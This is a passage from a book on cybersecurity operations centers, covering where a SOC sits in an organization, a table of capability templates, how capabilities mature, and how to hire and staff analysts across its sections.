mission. The biggest challenges to a SOC organized under a security function are (1) maintain - ing strategic perspective and partnership with the CIO or CISO while having day-to-day visibility and communication with IT and network ops, (2) separating its function from IT and security compliance, and (3) ensuring the right mix of technical expertise. Again, the SOC must be careful, from a budgetary perspective, because security functions are often seen as overhead. Also, many organizations do not have a separate security organization apart from the CIO and CISO, ruling this out as a possibility. 5.2.4 P eered with the Network Operations Center Under IT Operations The most common organizational placement of a SOC is having it collocated logically or physically, or both, next to or as part of a NOC. This provides a number of obvious virtues: 24x7 operations are merged, and response actions can be swiftly adjudicated through a single authority that balances the real-time needs of security and availability. Furthermore, there are many devices such as firewalls and IPSes that are seen as shared security and net - work capabilities. Consolidating both functions onto one watch floor (with distinct staff and tools) will save money, especially for enterprises that can’t justify having a separate SOC. Keeping network and security ops as distinct peers with separate people, tools, and funding will help avoid sidelining security in the name of network availability. In order to support a healthy constituency, NOC and SOC functions should be viewed as equal partners, rather than one subordinate to the other. Even though NOC and SOC roles should be clearly divided, seamless collaboration is key, whether or not they are collocated. If network and security ops are collocated, it is a good idea to coordinate shift patterns and other staffing logistics. A SOC will always field some calls from users. However, directing some of these calls to a nearby help desk (also under IT ops) could help reduce the call load. Similarly, other parts of IT ops can perform network scanning and patch management, something a SOC should watch closely. Finally, with both, network and security ops can report to one management authority that (it is hoped) has unambiguous authority to direct changes to the network for both availability and security reasons. This alone is reason enough to place the CND mission inside IT ops. T en Strategies of a World-Class Cybersecurity Operations Center79 SOCs that are able to leverage these strengths while maintaining strategic perspec - tive—through partnerships with executives such as CIOs, CISOs, and CEOs—often have a great chance of succeeding. 5.2.5 E mbedded Inside a Specific Mission or Business Unit Pigeonholing CND ops within a given business area may severely limit visibility to what is within that business unit. But it often presents unique opportunities for the SOC to be mission-oriented in how it monitors and responds. If a particular portion of an enterprise’s mission is very sensitive, having a SOC just for that mission can help. However, these efforts must be tied back to an enterprise-wide visibility and coordination capability (such as a tiered SOC model). Alternatively, a distributed SOC model with representatives in each busi - ness unit and the main SOC viewed as a headquarters function may work. 80Chapter 6 Stra tegy 4: Do a Few Things Well There are only a few prerequisites for being a SOC: the ability to (1) accept incident reports from constituents, (2) help constituents with incident response, and (3) communicate information back about those incidents. This represents only a fraction of the SOC’s potential duties. The question is, what other capabilities should it provide? In our fourth strategy, we explore the possibilities for what capabilities a SOC may offer. Our primary objective is to limit capability “sprawl” so we can focus on doing a few things well rather than many poorly. Going along with this, we want to (1) carefully manage expectations of constituency members and executives, (2) enhance trust and credibility with the constituency by handling each incident with care and professionalism, (3) avoid stretching limited SOC resources too thin, and (4) take on additional roles or tasks only when resources, maturity, and mission focus permit. 6.1 Introduction Before we decide which capabilities to provide, we must ask ourselves some critical questions: ‚What is the intended scope of the SOC mission? Do evolving needs of the constituency compel us to alter or expand the SOC mission? ‚Is it appropriate for the SOC to engage in direct monitoring and response activities, or is it more productive for the SOC to coordinate and harmonize the activities of other SOCs? T en Strategies of a World-Class Cybersecurity Operations Center81 ‚How does the SOC’s organizational placement bias its focus? For instance, is it relied upon to provide SA to constituency executives, or perhaps to implement rapid counter - measures? Can the SOC balance these obligations against other mission priorities? ‚What capabilities exist elsewhere that the SOC can call on when needed, such as audit retention and review, vulnerability assessment and penetration testing, artifact analysis and malware analysis, or countermeasure implementation? Are any of these performed by an organizationally superior coordinating SOC? ‚Does SOC resourcing enable it to reach beyond firefighting to advanced capabili - ties such as tradecraft analysis, custom signature creation, or tool research and development? ‚If the SOC offers a given capability, will it be exercised enough to justify the associ - ated costs? The SOC will always share control over the scope of its mission with external forces such as edict and policy handed down by constituency executives. Moreover, careful atten-tion must be paid to the perceived expectations of the constituents, versus what capabili - ties the SOC is in a position to actually support. Taking another cue from Section 2.3.3 of [8], we emphasize quality of capabilities offered versus quantity —do a few things well rather than a lot of things poorly. In a world where the SOC must always work with exter - nal entities to complete its mission, “street cred” is paramount. 6.2 C apability Templates In Table 7, we illustrate a typical capability offering for each of the five SOC templates we described in Section 4.1.2 , using the following descriptors: B: Basic. The SOC has a partial or basic capability in this area. A: Advanced. The SOC has a well-developed, mature capability in this area. O: Optional. The SOC may or may not offer this capability, potentially deferring it to an external group either within the constituency or from another SOC, if appropriate. –: N ot Recommended. Usually due to constituency size or distance from end assets and mission, it is not recommended that the SOC support this capability. It is important to recognize that this table describes the capabilities of each SOC once they have matured into a steady state . In other words, it outlines a target state, not a matu - ration path; we address growth and dependencies in Section 6.3 . Additionally, this table serves as a starting point for SOCs wishing to pick from a menu of capabilities—they must always tailor what they take on and how they fulfill those needs. 82 Table 7 Service Templates Name Virtual Small Large Tiered National Real-Time Analysis Call Center O B A A A Real-Time Monitoring and T riage O B A A O Intel and Trending Cyber Intel Collection and Analysis B B A A A Cyber Intel Distribution O B A A A Cyber Intel Creation - O B A A Cyber Intel Fusion O B A A A T rending O O A A A Threat Assessment - O B B A Incident Analysis and Response Incident Analysis B B A A O T radecraft Analysis - O A A O Incident Response Coordination B B A A A Countermeasure Implementation O O O O O On-site Incident Response B O O O O Remote Incident Response B B A A O Artifact Analysis Forensic Artifact Handling O B A A O Malware and Implant Analysis - O B A O Forensic Artifact Analysis - O B A O SOC Tool Life-Cycle Support Border Protection Device O&M O O O O O SOC Infrastructure O&M O B A A A Sensor T uning and Maintenance B B A A O Custom Signature Creation O O A A A T ool Engineering and Deployment O B A A A T ool Research and Development - - O B ADo a Few Things Well T en Strategies of a World-Class Cybersecurity Operations Center83 Table 7 Service Templates Name Virtual Small Large Tiered National Audit and Insider Threat Audit Data Collection and Storage O O B O - Audit Content Creation and Management O O O O - Insider Threat Case Support B B A A - Insider Threat Case Investigation - O O O - Scanning and Assessment Network Mapping O O B B O Vulnerability Scanning O B A O - Vulnerability Assessment O O O O O Penetration T esting O O O O O Outreach Product Assessment O O O O O Security Consulting O O O O O T raining and Awareness Building O O O O O Situational Awareness O B A A A Redistribution of TTPs - O B A A Media Relations - - O O B Rather than consuming many pages on exhaustive justification for each of these choices, we offer the following discussion on some major decision points: ‚Call center. Small SOCs may transfer this function to either the help desk or the NOC. However, this may be problematic because the CND implications of a network outage or help desk call may not be obvious to someone not trained in cyber incident analy - sis and response. The SOC does not want to miss tips that otherwise would have been handled just as an availability issue. In either event, it helps to give the help desk clear escalation criteria and paths to the SOC. One other option for non-24x7 operations is to direct the SOC hotline to a cell phone or pager, whose assignment is rotated among SOC members on a daily or weekly basis. ‚Real-time monitoring and triage/ incident analysis. This capability is core to virtu - ally all SOCs. In very large coordinating SOCs, this will take on a slightly different 84 Do a Few Things Well form. Rather than looking at raw data and receiving tips from end users, the SOC will likely receive calls and incident reports from other SOCs. ‚Malware and implant analysis/forensic artifact analysis. These capabilities are hard to staff in small and medium-sized SOCs for two reasons: (1) there needs to be a steady stream of incidents requiring in-depth postmortem, attribution, or legal action, and (2) personnel qualified to do this are in high demand. It is often an effective strategy for a smaller SOC to rely on a coordinating SOC or service provider to provide this on an as-needed basis. For SOCs that handle more than a few major cases a week, keeping at least a basic media forensics capability in house will speed response and recovery efforts. ‚On-site incident response. This is a function of whether a SOC’s organizational model incorporates elements of the internal distributed SOC model and how geographically dispersed the constituency is. ‚Sensor tuning. If a SOC has its own fleet of monitoring equipment (e.g., network or host IDS/IPS), tuning must be a sustained, internal activity driven by feedback from analysts. Therefore, this capability is considered a requirement for any SOC that deploys monitoring capabilities . It is also important to recognize that sensor tuning is a contin - uous process necessary for the correct functioning of the sensor fleet. It is, therefore, an operations function and not an engineering or development function. ‚Tool engineering and deployment. Whether a SOC performs this in house or depends on an external organization, this capability must exist somewhere in the larger organi - zation to which the SOC belongs . ‚Vulnerability assessment and penetration testing. The SOC is a natural place to house and coordinate these activities. It provides a unique basis for enhanced SA and raises visibility of the SOC as a resource to system owners and security staff. Because the staffing needs for Blue and Red Teaming can become quite large, some SOCs may choose to eschew the resource demands it entails. They thereby avoid the percep - tion of being a large cost center. Larger SOCs are a more likely home for vulnerability assessment/penetration testing (VA/PT) capabilities. Some smaller constituencies may outsource this to a third party. ‚Network mapping/vulnerability scanning. These capabilities may be viewed as sus - taining IT functions rather than CND or security operations functions. Subsequently, the choice to include these in the SOC should occur on a case-by-case basis. Whether or not these are placed elsewhere, the SOC may be well-advised to aggregate and syn - thesize scan results, because up-to-date network maps and vulnerability statistics are key inputs to incident analysis efforts. T en Strategies of a World-Class Cybersecurity Operations Center85 ‚Border protection device O&M/countermeasure implementation. These capabili - ties are rarely offered by a SOC that is not organizationally adjacent to, or comingled with, IT/network operations, as in a NOSC. These capabilities are also usually limited to SOCs with full reactive authority. Adjacent security analysis and network manage - ment functions enable quick-turn response, as directed by a SOC manager or SOC shift lead. ‚Audit data collection, retention, storage/audit content creation, and management. These capabilities are likely seen as a side benefit of comprehensive log collection and analysis. Large SOCs that incorporate distributed resources will likely find it neces - sary to provide a robust audit collection and redistribution capability since forward-deployed SOC personnel will be more focused on local systems and data sources. Decision making about which capabilities a SOC should offer often draws in the sub - ject of organizational placement. It’s usually a given that a certain capability should be provided by someone . The question is whether that function finds its home in the SOC or somewhere else. 6.3 C apability Maturation We have described a target capability template for each of our five SOC templates. In this section, we show some potential growth patterns that SOCs typically take when expand - ing into new capability areas. We also use this to identify dependencies and relationships among capabilities. ‚Cyber intel collection and analysis/sensor tuning and maintenance to cyber intel fusion/custom signature creation. Continual exposure to multiple sources of cyber intel will train analysts to be more discriminating in what they gather, and will help them recognize how their own defenses can be enhanced. Knowledge of adversary TTPs, constituency environment, and how to write signatures naturally leads analysts to crafting their own IDS signatures and SIEM analytics. ‚Incident analysis, malware and implant analysis/custom signature creation to cyber intel creation and distribution/redistribution of TTPs. Over time, analysts’ experience with individual incidents should grow into a more macroscopic under - standing of adversary behavior. This can lead analysts to draw observations and conclusions they may wish to share with constituents or other SOCs, further reinforc - ing their SA. ‚Incident analysis to forensic artifact analysis, and/or to malware and implant analysis. As the volume of incidents increases, so too should the SOC’s consistency and efficiency in handling those incidents. Analysts’ need to establish root cause anal - ysis often leads them in one or both of the following directions. First, as the volume 86 and complexity of incidents caught increase, so too will the number of traffic capture and media artifacts. What may start as ad hoc artifact analysis will likely turn into a repeatable, rigorous process involving dedicated forensics specialists and tools. Second, the amount of malware caught will likely increase, and thus the need to understand the comparative threat posed from one incident to the next—is this typi - cal malware or a targeted attack? The SOC may evolve proactive means to regularly extract suspect files from network traffic, and perform static and/or dynamic malware analysis on those files. ‚Cyber intel fusion/incident analysis to trending/tradecraft analysis/threat assess - ment. The SOC should recognize that a knee-jerk response to all incidents of reformat and reinstall is not always the best course of action. By engaging with other parties, the SOC should gain the authority and ability to passively observe the adversary and better gauge the extent of an intrusion. This will also compel the SOC to support a more strategic perspective on the adversary, allowing the SOC to perform advanced long-term trending. That, along with a keener understanding of constituency mis - sion, means the SOC can author threat assessments that help guide future monitor - ing efforts and changes to the constituency’s security architecture and major system acquisitions. ‚Tool engineering and deployment to tool research and development. As mission demands grow, the SOC will likely run into the limits of COTS and FOSS capabili - ties, leading the SOC to develop its own tools. This will likely start with projects that “glue” multiple open source and commercial capabilities together in new or different ways. In more extreme examples, well-resourced coordinating SOCs may put together, from scratch, polished capability packages for their constituents. For additional examples of capability maturation, the reader may turn to Section 2.7.5.1 of [4], which served as the inspiration for this section.Do a Few Things Well 87Chapter 7 Stra tegy 5: Favor Staff Quality over Quantity People are the most important aspect of CND. It’s a cliché in virtually all areas of business, but it’s true. SOCs have a limited budget with which to compete for a finite pool of talent, making staffing the SOC a challenge. With the right tools, one good analyst can do the job of 100 mediocre ones. As a result, we offer a critical point: Analyst quality is vastly more important than analyst quantity. Moreover, while analysts can be trained to use a tool in a rudimen - tary manner, they cannot be trained in the mind-set or critical thinking skills needed to master the tool. This forms the basis for our fifth strat - egy: exercise great care in hiring and keeping CND analysts. Choose staff quality over quantity. We break this strategy down into three parts which we cover in order: (1) whom do we hire, (2) ideally, how many staff do we need, and (3) how do we retain them. 7.1 W hom Should I Hire? In this section, we discuss the traits of the ideal SOC hire. We examine qualities in relation to a candidate’s mind-set, background, and skill set, each of which is covered in turn. 88 7.1.1 Mind-set Perhaps the number one quality to look for in any potential hires to the SOC is their passion for the job, regardless of the position. Intrusion monitoring and response is not just “a job” where people put in their eight- or 12-hour shift, collect a paycheck, and then leave. When it comes to “cyber,” we’re looking for enthusiasm, curiosity, and a thirst for knowledge. This passion is what will keep them coming back to the job, day after day, despite the stress and challenges inherent in operations. This passion, along with intellect and other soft skills, is what propels fresh recruits into becoming what we will call “rock-star analysts.” Seasoned rock-star analysts can do all or most of the following: ‚Pick out potential intrusions from seemingly benign sets of audit logs or IDS alerts ‚Build new tools and techniques to compress human-intensive tasks into work that can be achieved in a fraction of the time ‚Gather disparate data (e.g., system logs or hard drive images), construct a timeline of events, and evaluate the disposition of a potential intrusion ‚Pick up on subtle cues with network protocol analysis tools to recognize the meaning and implications of traffic across all seven layers of the Open Source Interconnection (OSI) network protocol stack ‚Tear apart a piece of malware and formulate a working understanding of its attack vector and likely purpose ‚Identify system misconfigurations and work with system owners to correct them ‚Establish and grow relationships with members of the SOC and partner SOCs, sharing best practices, tools, and tippers ‚Put themselves in the shoes of the adversary, look at the structure of a network and supported mission, and assess where there is cause for concern. Talent attracts talent, and finding just a few rock-star analysts can propel the SOC forward by leaps and bounds. While the entry-level positions in the SOC require repetition and structure, more advanced positions require a different mind-set: ‚Strong intuition and ability to think “outside the box” ‚Attention to detail while seeing the bigger picture ‚Ability to pick up new concepts; thirst for knowledge ‚Desire to script and automate repetitive parts of the job. One strategy for SOC hiring managers is to find people ripe for becoming rock-star analysts and who have the capacity to learn the procedures and tools for doing so.Favor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center89 Intrusion analysis cannot and never will be turned into a completely formulaic, repeatable process with every step defined in exhaustive detail. Analysts must be free to analyze. It is indeed true that Tier 1 analysts have more struc - ture in their daily routine for how they find and escalate potential intrusions. However, those in upper tiers must spend a lot of their time finding activities that just “don’t look right” and figuring out what they really are and what to do about them. Overburdening analysts with process and procedure will extinguish their ability to identify and evaluate the most damaging intrusions. 7.1.2 Background CND analysis requires a superb understanding of how networks and systems operate—in practice, not just in theory. Although rarely expert in all areas, analysts can usually answer questions such as: ‚How do you install and configure a Linux or Windows system? ‚What does normal DNS traffic look like? ‚How do you correctly architect a network perimeter DMZ? ‚What is wrong with this switch configuration? ‚How can I achieve common tasks in popular scripting and programming languages? An ideal candidate should be able to demonstrate a general “literacy” of IT and cyber - security, along with deep knowledge in at least one or two areas related to CND—a concept known as the “T-shaped person” [62] . This knowledge is usually gained through a combi - nation of the following three things: ‚Formal training in IT, computer science (CS), electrical or computer engineering, cybersecurity, or a related field ‚On-the-job experience in IT operations, system/network administration, or software development ‚Self-study in system administration, software coding, CND, and vulnerability assess - ment/penetration testing, often achieved in candidates’ spare time With the growing number of undergraduate and graduate-level programs specifically in information security, forensics, cryptography, and malware analysis, we see a rising number of applicants who specifically tailored their formal education to a career in secu - rity operations, either at the undergraduate or graduate level. That said, making a formal degree or five years of experience in IT a universal require - ment for incoming analysts isn’t absolutely necessary. Some SOCs focus on assessing 90 candidates’ practical IT experience, thirst for knowledge, and ability to think outside the box. Candidates who haven’t been in IT very long, but demonstrate solid problem-solving skills, could be initially assigned to Tier 1 and allowed to grow into more advanced roles as their skills advance. There are several previous positions that candidates may come from: help desk, ISSO or ISSE, IT/cybersecurity policy writing and compliance, software and systems develop - ment, and system administration. In any of these cases, it is important to assess candi - dates’ breadth and depth of technical knowledge, ability to assimilate and use new infor - mation, and appreciation for the realities of IT operations. 7.1.3 S kill Set Mature SOCs should have a robust training program that brings new recruits up to speed on the TTPs the SOC uses to execute its mission. Candidates with a background in either system administration or penetration testing can usually pick up the CND specifics in a matter of weeks or a few months. Although it’s easy to focus on experience with various CND tools, as a job qualification this is only one-third of the picture. Many experienced SOC leaders would argue that understanding how a tool works and what it tells the analyst is more important than the semantics of how one specific tool works. Going back to the concept of the “T-shaped person,” a seasoned CND analyst should be able to demonstrate general knowledge of most of the following, with deep understanding in at least one or two areas: ‚Linux/UNIX system administration, along with network (router and switch), Web server, firewall, or DNS administration ‚Work with various FOSS IDS/IPS, NetFlow, and protocol collection and analysis tools such as Snort [63] , Suricata [64], Bro [65], Argus [66] , SiLK [67] , tcpdump [68], and WireShark [69] ‚Working knowledge of entire TCP/IP or OSI network protocol stack, including major protocols such as IP, Internet Control Message Protocol (ICMP), TCP, User Datagram Protocol (UDP), Simple Mail Transfer Protocol (SMTP), Post Office Protocol 3 (POP3), Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP), and SSH ‚Working knowledge of popular cryptography algorithms and protocols such as Advanced Encryption Standard (AES), Rivest, Shamir, and Adleman (RSA), Message-Digest Algorithm (5) (MD5), Secure Hash Algorithm (SHA), Kerberos, Secure Socket Layer/ Transport Layer Security (SSL/TLS), and Diffe Hellman ‚Security engineering and architecture work—analysis and engineering of security features of large, distributed systemsFavor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center91 ‚Work with some COTS NIDS/NIPS or HIDS/HIPS tools such as McAfee IntruShield [70] and ePolicy Orchestrator (EPO) [71] , or Hewlett-Packard (HP) TippingPoint [72] ‚Work with various log aggregation and SIEM tools such as ArcSight [73] or Splunk [74] ‚Experience with vulnerability assessment and penetration testing tools such as Metasploit [75] [76], CORE Impact [77] , Immunity Canvas [78] , or Kali Linux [79] ‚For those working in malware reverse engineering, (1) knowledge of assembly code in Intel x86 and possibly other popular architectures, (2) work with malware analysis frameworks such as ThreatTrack ThreatAnalyzer [80] and FireEye AX [81] , and (3) work with various utilities that aid in malware analysis, such as SysInternals [82] , and tool suites used to decompile and examine malware (not the least of which is IDA Pro [83] [38]) ‚Experience with programming and scripting languages and text manipulation tools, most notably Perl [84] , but also including sed and awk [85] , grep [86] , Ruby [87] , and Python [88] ‚For those doing forensics work, knowledge of Windows and other OS internals and popular file systems and work with media forensics and analysis tools such as AccessData FTK [89] or EnCase Forensic [90] . In addition, the candidate screening process should address candidates’ soft skills: ‚Written and oral communication ‚Ability to thrive on high ops tempo, high-stress environments ‚Strong team player ‚Ability to provide on-the-job training and knowledge sharing to other analysts ‚Self-initiative with strong time management ‚Solid sense of integrity and identification with the mission. There is certainly a lot of overlap between CND and general IT and network opera- tions. CND operators must be able to speak the language of general IT. As we discussed, it’s the ability to think like the adversary and hunt for anomalous and malicious activ - ity that sets them apart from the general IT crowd. For this reason, it is not reasonable to expect to rotate personnel between CND and non-CND positions. Momentary surges in SOC staffing are usually in response to an incident. Rather than rotating people directly into the SOC itself, it is usually better to leverage other IT personnel in their existing slots, such as with TAs, or turn to partner or superior SOCs for help. Extensive background and skills are shared among CND and general IT operations; however, these staff positions are not interchangeable. 92 It is possible and, perhaps, encouraged to rotate staff among various junior positions such as Tier 1 analysis and vulnerability scanning. However, as we ascend in seniority, the amount of ramp-up time increases. For instance, it may be possible to move a Tier 1 ana-lyst to network scanning with just a week of on-the-job training. However, to move a Tier 2 analyst to a Red Team (or back) will usually take longer. For more details on relevant skill sets for CND personnel, refer to NIST’s NICE frame - work found at [91] and materials from CMU SEI CERT at [8] and [92] . 7.1.4 Conclusion To finalize our discussion, here are some tips for hiring well-qualified analysts: ‚Consider the full gamut of qualifications, including both formal education and profes - sional certifications, training, self-study, and on-the-job experience. ‚Tailor an interview process that focuses on out-of-the-box thinking through open-ended questions and recognizes fundamental background skills like understanding of TCP/IP protocol, UNIX system administration, and programming. ‚Look for personnel who have a mix of related skills like software development, vul - nerability assessment/penetration testing, and advanced system administration, who can quickly adapt to CND operations. ‚Look for personal traits during the interview that indicate the candidate has a passion for “cyber,” strong communication skills, the desire to work with a tight-knit team, an orientation toward the fast ops tempo environment, and a thirst for knowledge. ‚Leverage a pay-band structure or contracting model that supports differentiation of tasks and experience levels across all areas of current and planned SOC work. ‚Rely on references from existing rock-star resources who have friends interested in working in CND, even if their experience in IT is not security focused. ‚When hiring supervisory or management positions, ensure those with management credentials also bring hands-on experience with IT (preferably CND) to the table. ‚Utilize a technical qualification or “check-ride” process that each new hire must pass within a certain time period after hire; this ensures all employees can operate with a base level of technical capabilities, depending on their job function 7.2 H ow Many Analysts Do I Need? This is one of the most frequently asked questions when shaping the SOC, both from SOC managers and those new to CND. Unfortunately, it is one of the hardest to answer, because there are so many issues at play. In this section, we break down the factors that impact overall SOC staffing, and we leverage the Large SOC models from Section 4.1.2 and Section 4.3.3 in looking at how to staff each part of the SOC.Favor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center93 7.2.1 G eneral Considerations When consulting available resources on SOC staffing guidance, the most frequent models leverage simple ratios: either number of analysts to number of devices being monitored or number of analysts to number of constituents [93] . The most frequent ratio quoted is one analyst for every 50 to 75 devices [94 , p. 9] . Hands-on experience proves it’s often not that simple. First, these models work for a given SOC when all other considerations remain fixed. As we have seen in this book, we have to look at the whole picture: people, process, and technology. Second, these models typically have Tier 1 analysts in mind, whereas we wish to address all roles within the SOC: Tier 2, cyber intel analysis, system administration, and so forth. Let’s look at all of the factors that influence SOC staffing levels: ‚SOC mission and offered capabilities ‚Size, geographic distribution, and heterogeneity of the constituency ‚Number of incidents (detected or otherwise) on constituency systems ‚SOC organizational model ‚Size, coverage, and diversity of SOC monitoring and analytics systems ‚Intended and existent SOC staff skill set ‚Business/coverage hours offered by each SOC section (8x5, 12x5, 24x7, etc.) ‚Level of automation built into SOC monitoring, correlation, and analytics ‚SOC funding for staff resources. Let’s recall a few key points. At the start of Section 7 , we observed that one skilled analyst with force multiplier technologies such as SIEM can be as effective as 100 rookie analysts with poor tools. In Section 6 , we saw that SOCs can have a variety of different capabilities, and, of course, the SOC will attain differing maturity levels for each service it offers. From Section 4.2 and Section 4.3 , we know SOCs can come in vastly different shapes and sizes. From Appendix D , we know that an 8x5 position takes one full-time equivalent (FTE), whereas a 24x7 position requires 4.8 FTEs. As we can see, SOC staffing needs require a more complicated equation than a simple ratio—we have a list of many independent variables, each one having a potentially pro - found effect on the answer. For new SOCs, few of these factors may be set in stone at initial formation (e.g., when budgets are first cut). For many SOCs, the answer evolves over time, as they grow and mature. SOC managers typically seize one of four different opportunities to grow or shape their staff: (1) in the wake of a major incident that has constituency exec - utives’ attention, (2) when the SOC’s organizational placement is changing, (3) at the early stages of annual budget planning, or (4) in the wake of a major inspection or assessment. 94 However, adding people should be done only after exhausting other process and technol - ogy options that can act as force multipliers. Throwing more SOC staff at a problem is usually not the best answer. First, consider automating human-intensive processes and seeking more streamlined escalation and response CONOPS. If a mediocre analyst’s salary is X and a great analyst’s salary is X*1.25, but a great analyst gets three times more done than a mediocre analyst, then it’s actually more effi - cient to hire or grow fewer great analysts. That said, finding or growing good analysts can be a major challenge with great demand among a finite pool of qualified applicants, and an operations tempo that sometimes leaves little room for personal growth. In the following sections, we will examine the primary factors influencing staffing for each section. It is also important to keep in mind that the hours each section may keep can vary. Tier 1 may be required to staff 12x5 or 24x7, whereas the rest of the SOC may main - tain a more limited 8x5 schedule. 7.2.2 T ier 1 Analysts Let’s recall our discussion of Tier 1 from Section 2.2 and Section 4.1 . We have a team of generally junior folks who perform the lion’s share of the SOC’s routine tasks: fielding phone calls and monitoring well-tailored event feeds. They have limited time to focus on any one event of interest. Out of any of the SOC’s sections, the staffing model here is the most pre - dictable. If we consider the average number of minutes it should take an analyst to evaluate the disposition of an alert and the number of alerts worthy of their attention in a given shift, we know how many analysts we need [9 , p. 401] . Sort of. Let’s recall one of the most impor - tant lessons learned when it comes to Tier 1 monitoring: Never ask Tier 1 to monitor a completely unfiltered data feed. This will cause them to spend most of their time clearing benign alerts and becoming numb to what is truly anomalous or malicious. With too many events showing up in their dashboards, Tier 1 analysts have two options: (1) furiously acknowledge or skip many alerts without fully analyzing them or (2) hunt and peck for random alerts out of their feeds. Instead, Tier 1 analysts should be pre - sented with discrete views into the data that can be fully evaluated over the course of their Favor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center95 shift. The number of alerts the analysts must deal with in a shift is highly dependent upon many factors, most notably the quality and quantity of data feeds flowing into their tools, and the analytics applied to them. And, it is hoped that they are presented with views into the data that are something other than just scrolling alerts. Modern SIEMs provide all sorts of data visualization tools. As a result, preparing any sort of mathematical formula to pre - dict Tier 1 staffing is hazardous at best. How well tuned is the SIEM? the IDSes? the data feeds? Are all of the alerts unified into one or more SIEM dashboards, or are they split among half a dozen disparate tools? That said, just because we deploy a new sensor technology or add a new dashboard to SIEM doesn’t necessarily mean we need to hire more analysts. If we’re lucky, we might be able to completely automate certain monitoring use cases and send autogenerated cases directly to Tier 2. Clearly, there is a lot of gray area here. Also, we need to consider other tasks thrown at Tier 1. In a small SOC, Tier 1 may also do routine cyber intel collection or vulnerability scanning. We may also have staff dedi - cated to other routine tasks like monitoring constituents’ Web-surfing habits or IT com-pliance-related activities. This certainly adds to their load. The SOC escalation CONOPS will come into play here because Tier 2 may push down handling of routine events such as malware infections to Tier 1, assuming they demonstrate the capability to act upon certain incidents with competence and consistency. On the other hand, we may have to minimize the activities carried out by Tier 1 simply due to physical space limitations—perhaps Tier 1 exists on a cramped ops floor, whereas Tier 2 and the rest of the SOC sits in a back office. Understanding the range of constituency sizes we have to deal with, Large Centralized SOCs will commonly have between two and six analysts on each shift in Tier 1. This can be quite deceiving to outsiders, because, on a floor tour of a combined NOC/SOC, they may only see the Tier 1 analysts and a floor lead. What they may not notice is the other parts of the SOC residing in back offices, which are just as important to the mission. 7.2.3 T ier 2 Responders The number of folks needed to fill slots in Tier 2 is most directly related to three factors: (1) the frequency and number of cases passed from Tier 1 or other parts of the SOC (e.g., cyber intel analysis and trending), (2) the amount of time the SOC is able to devote to each case, and (3) the ability of each analyst to turn over cases, which is influenced by their skill and tools. For instance, some SOCs can be stuck in the response cycle: find intrusion, pull box off network, reimage box. As we discussed earlier in this book, this is tremendously counter - productive. On the other end of the spectrum, we have SOCs that have an advanced adver - sary engagement, tradecraft analysis, and reverse engineering capability. Furthermore, 96 the SOC may have these capabilities, but they may be split out into a different “advanced capabilities,” “threat analysis,” or “forensics” section, as described in Section 11.1 . Some SOCs will actually host an entire malware catalog and analysis framework, further increas - ing staffing needs. Staffing for this section is heavily influenced by the SOC’s ability to find (and pay for) staff capable of carrying out Tier 2 analysis, as well as the overall vulnerability and threat profile of the enterprise. If the constituency is getting hacked left and right, clearly there will be a greater demand for incident responders than if things are relatively quiet. In addi - tion, the SOC may feel compelled to spend cycles chasing down IT misuse cases such as users caught surfing porn or gambling sites while at work. It’s easy for the SOC to spend resources on these cases because it has the right tools to investigate them, even though such cases should probably be moved to another organization such as security or human resources (HR). Depending on all of these factors, SOCs may have Tier 1 to Tier 2 seat ratios anywhere from 2:1 to 1:2. This means that for every two Tier 1 analysts on a day shift, there could be between one and four Tier 2 analysts, depending on how operations and escalation are structured. In terms of actual FTEs, this may be more like 5:1 or 3:1, because the Tier 1 floor positions are more likely than Tier 2 to be staffed 24x7. 7.2.4 C yber Intel Analysis and Trending This section of the SOC has the most open-ended portion of the SOC mission. Staff is asked to consume as much cyber intel and sensor data as possible, in a never-ending quest to uncover anomalous activity. Therefore, the number of staff needed to support this SOC sec - tion is almost entirely dependent upon the SOC’s ability to fund and find qualified person-nel. Staffing here will also be driven by the SOC’s access to cyber intel data. If it has poor data, intel, and news feeds, there won’t be much to do. If, on the other hand, the SOC has strong relations with partner SOCs, comprehensive monitoring coverage, and advanced analytics, the opportunities are almost endless. Overall, this section’s staffing will likely maintain rough parity with Tier 2. If either section grows more than twice as large as the other, the SOC CONOPS or staffing plan probably requires a further look. Smaller SOCs will likely have a small trending section, due to limited resourcing. Hybrid tiered, coordination, or national SOCs will likely have a very large trending section because their focus is largely shifted toward watching the adversary instead of watching the network. In the most extreme examples, national-level SOCs may designate a number of sub-teams, each focused on a specific brand of adversary or geographic region.Favor Staff Quality over Quantity T en Strategies of a World-Class Cybersecurity Operations Center97 7.2.5 V ulnerability Scanning Staffing a vulnerability or network scanning capability within the SOC is fairly straight - forward, in that it is dependent on only a few factors. Some SOCs don’t have this capability at all (making the answer quite straightforward). For those that do, we need to consider the number of systems being scanned, the complexity and efficiency of tools that do the scanning and roll up the data, and whether the scanning targets are broken up into two or more disparate networks. Some scanning tools, for instance, work very efficiently in break - ing down scanning tasks and executing them from remotely managed nodes. Others may require a human to manually initiate a scan for each enclave and roll up the results by hand. SOCs that perform network or vulnerability scanning in house will often have a team of two to five people—possibly more if they have a very large constituency; possibly only one person if their scanning tasks are limited in nature. 7.2.6 V ulnerability Assessment/Penetration Testing Making staffing choices is in some ways similar to cyber intel analysis and trending. VA/PT activities can be very open-ended for many constituencies. That is, there will always be more work to perform. As a result, the SOC can most likely assign as many people as fund - ing permits, with the following caveats. First, SOC management is advised not to build up a huge VA/PT section while starving other sections like Tier 2 or trending. Second, the SOC must carefully manage its workload on the basis of the authorities and rules of engagement granted by constituency execu - tives. In environments where the VA/PT team has more freedom of action, it may be able to set the agenda for its operational activities. Third, this team may matrix in personnel from other sections. In order to bulk up teams on large “jobs,” this SOC should cross-train staff on defensive and offensive techniques and share knowledge of constituency systems and networks. Caution should be exercised here, as rotating staff out of analyst positions means any cases they were working must either be put on hold or handed off to another staff member. In addition, staff must work on VA/PT engagements with some regularity for their skills to stay current. This section’s capacity can also be directly correlated to staffing. Let’s say a SOC calcu - lates that an average assessment requires a team of three, plus one lead, and it takes an average of three weeks to perform a “job,” start to finish. That works out to 12 staff weeks per assessment. Four assessments work out to 48 staff weeks of effort, meaning we have a formula that works out to four assessments per year for every FTE, including training and time off. Capacity and staffing projections can thus be made. Granted, it isn’t always this simple (some jobs are bigger than others), but at least this is a starting point. The SOC can 98 also use this sort of calculation to predict how often it is able to revisit a given network, site, or program (depending on how its assessments are bounded). 7.2.7 S 